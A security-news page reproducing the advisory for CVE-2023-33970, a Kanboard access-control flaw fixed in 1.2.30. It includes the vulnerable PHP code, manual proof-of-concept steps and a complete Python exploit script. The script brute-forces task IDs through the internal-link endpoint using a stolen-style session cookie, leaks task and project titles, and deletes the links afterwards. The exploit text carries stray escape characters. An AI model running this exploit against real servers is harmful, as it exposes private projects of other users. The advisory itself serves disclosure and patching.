Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-33970: Missing access control in internal task links feature

Kanboard is open source project management software that focuses on the Kanban methodology. A vulnerability related to a missing access control was found, which allows a User with the lowest privileges to leak all the tasks and projects titles within the software, even if they are not invited or it’s a personal project. This could also lead to private/critical information being leaked if such information is in the title. This issue has been addressed in version 1.2.30. Users are advised to upgrade. There are no known workarounds for this vulnerability.

CVE
#csrf#vulnerability#web#php#webkit

Summary

A vulnerability related to a missing access control was found, which allows a User with lowest privileges to leak all the tasks and projects titles within the software, even if they are not invited or it’s a personal project.

Details

The vulnerability lays in the function create() in /app/Model/TaskLinkModel.php file, at line 166.
Note: I believe that the update() also has the same issue.

public function create($task_id, $opposite_task_id, $link_id) { $this->db->startTransaction();

    $opposite\_link\_id = $this\->linkModel\->getOppositeLinkId($link\_id);
    $task\_link\_id1 = $this\->createTaskLink($task\_id, $opposite\_task\_id, $link\_id);
    $task\_link\_id2 = $this\->createTaskLink($opposite\_task\_id, $task\_id, $opposite\_link\_id);

    if ($task\_link\_id1 === false || $task\_link\_id2 === false) {
        $this\->db\->cancelTransaction();
        return false;
    }

    $this\->db\->closeTransaction();
    $this\->fireEvents(array($task\_link\_id1, $task\_link\_id2), self::EVENT\_CREATE\_UPDATE);

    return $task\_link\_id1;
}

As we can see, there are no checks being made to the $opposite_task_id variable to check if the user that made the request has permission/access to the opposite task.

PoC

  1. Go to any task you own, click on the feature Add Internal Link and click on Save.
  2. Intercept the request and change the opposite_task_id to any task id you want.
  3. Go back to your task, and as you can see you can leak the task and project title of any projects within the software

Note: I’ve made an over-engineered but reliable exploit to leak every task and project title within the software with a user with the role User, being the lowest privileges you can get.

You can run the python script using the command
python3 kanboard_leak_tp.py <TARGET> <YOUR_SESSION_ID> <YOUR_TASK_ID>

kanboard_leak_tp_PoC.mp4Exploit

import re import sys import requests from prettytable import PrettyTable from requests_toolbelt.multipart.encoder import MultipartEncoder

# Variables CSRF_TOKEN = “” TARGET_URL = sys.argv[1] SESSION_ID = sys.argv[2] MY_TASK_ID = sys.argv[3] MY_TASK_URL = f"{TARGET_URL}/task/{MY_TASK_ID}" CREATE_LINK = f"{TARGET_URL}/task/{MY_TASK_ID}/internal-link/save" REMOVE_LINK = f"{TARGET_URL}/?controller=TaskInternalLinkController&action=remove&link_id=%s&task_id={MY_TASK_ID}&csrf_token="

# Define tasks table table = PrettyTable() table.field_names = ["Task Title", "Project Title", "Task Column", “Task Assigned”] table.align[“Task Title”] = “l” table.align[“Project Title”] = “l” table.align[“Task Column”] = “l” table.align[“Task Assigned”] = “l”

def logo(): print(“"” _ __ _ _ ___ _____ | |/ /__ _ _ _ | |__| | | _ \_ _| | ' </ _` | ' \| '_ \ |__| _/ | |
|_|\_\__,_|_||_|_.__/____|_| |_|
Exploit made by: castilho
“"”)

def get_csrf_token(response_html): # Extract CSRF token from the response HTML using regex csrf_token_regex = r’name="csrf_token" value="([^"]+)' match = re.search(csrf_token_regex, response_html)

if match:
    csrf\_token \= match.group(1)
    return csrf\_token

return ""

def generate_session(): # Create a session with necessary headers and cookies session = requests.Session() headers = {’X-Requested-With’: 'XMLHttpRequest’} session.headers.update(headers) session.cookies.update({’KB_SID’: SESSION_ID}) return session

def main(): # Variables number_tasks = 0

session \= generate\_session()
my\_task\_response \= session.get(MY\_TASK\_URL)

print(f"\[\*\] Retrieving HTML content from the session...")

CSRF\_TOKEN \= get\_csrf\_token(my\_task\_response.text)

\# Check if we could retrieve the CSRF Token
if CSRF\_TOKEN \== "":
    print("\[-\] Couldn't retrieve the CSRF Token. Please check your Session ID or Task ID...")
    exit()
    
print(f"\[+\] Obtained CSRF token: {CSRF\_TOKEN}\\n")
print("\[\*\] Started brute-forcing tasks...")

\# Brute-force tasks in projects
for task\_id in range(1000):
    
    \# Multipart data to create an internal link
    multi\_data \= MultipartEncoder(
        fields\={
            'csrf\_token': CSRF\_TOKEN,
            'opposite\_task\_id': str(task\_id),
            'link\_id': '1',
            'title': '',
        },
        boundary\='----WebKitFormBoundaryhkj3WRLYXccSclPh'
    )

    \# POST request to create an internal link
    create\_link\_response \= session.post(CREATE\_LINK, headers\={'Content-Type': multi\_data.content\_type}, data\=multi\_data)

    \# Check if a task was found
    if len(create\_link\_response.content) \== 0:
        
        \# Do a GET request to our task endpoint 
        \# to retrieve the found task values
        my\_task\_response \= session.get(MY\_TASK\_URL)
        
        \# Regex to find the values of project title, assigned user, and link ID
        pattern\_project\_values \= r'<a href=".+?"\[^>\]\*>(\[^<\]+)</a>\\s\*\\((\[^)\]+)\\)'
        pattern\_assigned\_user \= r'<a href="/user/show/\\d+" class="" title=\\'\\' >(.\*?)</a>'
        pattern\_link\_id \= r'/\\?controller=TaskInternalLinkController&amp;action=confirm&amp;link\_id=(\\d+)'
        
        \# Make the necessary searches
        match\_project \= re.search(pattern\_project\_values, my\_task\_response.text)
        match\_assigned \= re.search(pattern\_assigned\_user, my\_task\_response.text)
        match\_link\_id \= re.search(pattern\_link\_id, my\_task\_response.text)
        
        \# Check if a task and project were found along with their link ID
        if match\_project and match\_link\_id:
            
            \# Check if someone is assigned to that task
            if match\_assigned:
                user\_assigned \= match\_assigned.group(1)
            else:
                user\_assigned \= "Not Assigned"
            
            \# Get the link of the task and project values
            task\_link\_id \= match\_link\_id.group(1)
            task\_value, project\_value \= match\_project.groups()
            
            if len(project\_value.split(" - ")) \> 1:
                task\_column \= project\_value.split(" - ")\[1\]
                project\_name \= project\_value.split(" - ")\[0\]
            else:
                task\_column \= project\_value.split(" - ")\[0\]
                project\_name \= ""
            
            table.add\_row(\[task\_value, project\_name, task\_column, user\_assigned\])
            session.get((REMOVE\_LINK % task\_link\_id) + CSRF\_TOKEN)
            
            number\_tasks += 1
            
\# Display the final leaked information
if number\_tasks \> 0:
    print(f"\[+\] Number of tasks found: {number\_tasks}")
    print("\[+\] Table of all tasks in all projects:\\n")
    print(table)
else:
    print("\[-\] Didn't find any tasks. It's either patched or your company needs to put in some work... :/\\n")

if __name__ == '__main__’: logo() main()

Impact

A vulnerability related to broken access control was found, which allows a User with lowest privileges to leak all the tasks and project titles within the software, even if they are not invited or it’s a personal project. This could also lead to private/critical information being leaked if such information is in the title.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907